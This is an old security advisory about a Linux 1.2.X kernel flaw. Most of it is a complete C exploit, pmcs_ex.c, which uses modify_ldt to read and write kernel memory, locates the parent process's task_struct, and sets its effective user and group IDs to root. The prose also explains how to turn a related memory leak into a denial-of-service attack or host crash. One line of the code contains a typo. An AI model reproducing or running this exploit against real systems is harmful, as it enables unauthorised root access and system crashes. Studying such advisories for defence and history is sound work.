COMMAND

    kernel

SYSTEMS AFFECTED

    linux 1.2.X

PROBLEM

    The  source  is  a  modification   of  Morten  Welinder  post   in
    linux-kernel  somewehere  around  march.  This  one  does not need
    System.map  to  find  _task  structure  in  kernel  data  segment.
    Instead I wrote a SEGV trap to find where accessable patitions  of
    memory are.

    To speed  it up  I access  direct at  0xC000000 (KERNEL_BASE)  and
    step it with 0x1000 (PAGE_STEP - task_struct-s are usualy at  page
    boundary).  But it  can be set up  to search the whole  memory for
    matching task_struct-s.

    The parent  task_struct match  is very  loose (I  am looking  only
    for euid, egid and pid  of parent task at correct  distances. This
    can  be  extended  for  better  match,  but I found out that these
    three are quite enought.

    Also  note  that  this  one  demostrates  a memory leak in clib in
    sigsetjmp function. If  you make enough  itterations this one  can
    be converted  into denial  of service  attack (and  posibilly host
    crash ;). Try with KERNEL_BASE = 0x00000000 and PAGE_STEP = 1.

    The main issue  here is that  developement of 1.2.X  was abandoned
    after 1.2.13 and all went to 1.3.X. So there were many (now  after
    2.0.X not *so*  many) vulnerable systems  around. I hope  taht the
    same  thing  wouldn't  happen  with  2.0.X  after  starting  2.1.X
    developement tree.

pmcs_ex.c:

#include <setjmp.h>
#include <linux/ldt.h>
#include <stdio.h>
#include <linux/unistd.h>
#include <signal.h>

#define __KERNEL__
#include <linux/sched.h>

_syscall3(int, modify_ldt, int, func, void *, ptr, unsigned long, bytecount)

#define KERNEL_BASE 0xC0000000
#define PAGE_STEP   0x1000

/* -------------------------------------------------------------------- */
static __inline__ unsigned char
__farpeek (int seg, unsigned ofs)
{
  unsigned char res;
  asm ("mov %w1,%%gs ; gs; movb (%2),%%al"
       : "=a" (res)
       : "r" (seg), "r" (ofs));
  return res;
}
/* -------------------------------------------------------------------- */
static __inline__ void
__farpoke (int seg, unsigned ofs, unsigned char b)
{
  asm ("mov %w0,%%gs ; gs; movb %b2,(%1)"
       : /* No results.  */
       : "r" (seg), "r" (ofs), "r" (b));
}
/* -------------------------------------------------------------------- */

sigjmp_buf memgetjmp;

void
memchkseg (int seg, const void *src )
{
  if ( sigsetjmp ( memgetjmp, 1 ) == 0 ) {
    __farpeek (seg, (unsigned)(src));
  }
}
/* -------------------------------------------------------------------- */
void
memgetseg (void *dst, int seg, const void *src, int size)
{
    while (size-- > 0)
      *(char *)dst++ = __farpeek (seg, (unsigned)(src++));
}
/* -------------------------------------------------------------------- */
void
memputseg (int seg, void *dst, const void *src, int size)
{
  while (size-- > 0)
    __farpoke (seg, (unsigned)(dst++), *(char *)src++);
}
/* -------------------------------------------------------------------- */

#define KERNEL_DATA_SEGMENT 7

/* SEGV handling for kernel data segmnet boundary check */

static int iSEGV = 1;

void SEGVHandler ( int iSignal ) {
  iSEGV = 1;
  siglongjmp ( memgetjmp, 1 );
}

void FillTaskStruct ( char *pcTaskStruct, long lAddress ) {
  int iCounter = sizeof ( struct task_struct );

  while ( iCounter-- > 0 ) {
    *pcTaskStruct++ = __farpeek ( KERNEL_DATA_SEGMENT, lAddress++ );
  }
}

static int iMyPPID;
static int iMyUID;
static int iMyGID;

int CheckTaskStruct ( struct task_struct *sTaskStruct ) {
  if ( sTaskStruct->pid  == iMyPPID &&
       sTaskStruct->euid == iMyUID &&
       sTaskStruct->egid == iMyGID ) {
    return ( 1 );
  } else {
    return ( 0 );
  }
}

int main ( int argc, char **argv ) {

  char                     cMessage[39]  = "PMCsExploit! (c) 1996. pmc@asgard.hr\n";
  struct modify_ldt_ldt_s  sLDTEntry;
  struct sigaction         sSEGVAction;
  long                     lStartAddress = KERNEL_BASE;
  long                     lCheckAddress = 0x00000000;
  long                     lAreaStart    = 0x00000000;
  long                     lAreaEnd      = 0x00000000;
  long                     lAreaLength   = 0x00000000;
  long                     lTaskAddress  = 0x00000000;
  int                      iRunning      = 1;
  char                     cOneChar      = '\0';
  struct task_struct       sTaskStruct;

  iMyPPID = getppid ();
  iMyUID  = getuid ();
  iMyGID  = getgid ();
  printf ( cMessage );
  printf ( "First let's see if this little joke could be done ?\n" );
   sLDTEntry.entry_number    = 0;
  sLDTEntry.base_addr       = 0x00000000;
  sLDTEntry.limit           = 1;
  sLDTEntry.seg_32bit       = 1;
  sLDTEntry..contents        = MODIFY_LDT_CONTENTS_STACK;
  sLDTEntry.read_exec_only  = 0;
  sLDTEntry.limit_in_pages  = 0;
  sLDTEntry.seg_not_present = 0;
  if ( modify_ldt ( 1, &sLDTEntry, sizeof ( sLDTEntry ) ) ) {
    printf ( ":(\n" );
    return ( -1 );
  }
  sSEGVAction.sa_handler = SEGVHandler;
  sSEGVAction.sa_flags   = SA_RESTART;
  sigemptyset ( &sSEGVAction.sa_mask );
  lCheckAddress = lStartAddress + PAGE_STEP;
  while ( lCheckAddress != lStartAddress ) {
    iSEGV = 0;
    sigaction ( SIGSEGV, &sSEGVAction, NULL );
    memchkseg ( KERNEL_DATA_SEGMENT, ( void *) lCheckAddress );
    if ( iSEGV ) {
      iSEGV = 1;
      while ( iSEGV ) {
        iSEGV = 0;
        sigaction ( SIGSEGV, &sSEGVAction, NULL );
        memchkseg ( KERNEL_DATA_SEGMENT, (void *) lCheckAddress );
        lCheckAddress += PAGE_STEP;
      }
    } else {
      lCheckAddress += PAGE_STEP;
    }
    lAreaStart = lCheckAddress - PAGE_STEP;
    while ( ! iSEGV ) {
      memchkseg ( KERNEL_DATA_SEGMENT, (void *) lCheckAddress );
      lCheckAddress += PAGE_STEP;
    }
    lAreaEnd = lCheckAddress - PAGE_STEP;
    lAreaLength = lAreaEnd - lAreaStart;
    if ( lAreaLength<sizeof ( struct task_struct ) ) {
    } else {
      lTaskAddress = lAreaStart;
      while ( lTaskAddress + sizeof ( struct task_struct )<lAreaEnd ) {
        FillTaskStruct ( (char *) &sTaskStruct, lTaskAddress );
        if ( CheckTaskStruct ( &sTaskStruct ) ) {
          sTaskStruct.euid = 0;
          sTaskStruct.egid = 0;
          memputseg ( KERNEL_DATA_SEGMENT, (void *) lTaskAddress, (void *) &sTaskStruct, sizeof ( sTaskStruct ) );
          printf ( ":)\n" );
          exit ( 0 );
        }
        lTaskAddress += PAGE_STEP;
      }
    }
  }
  printf ( ":(\n" );
  exit ( -1 );
}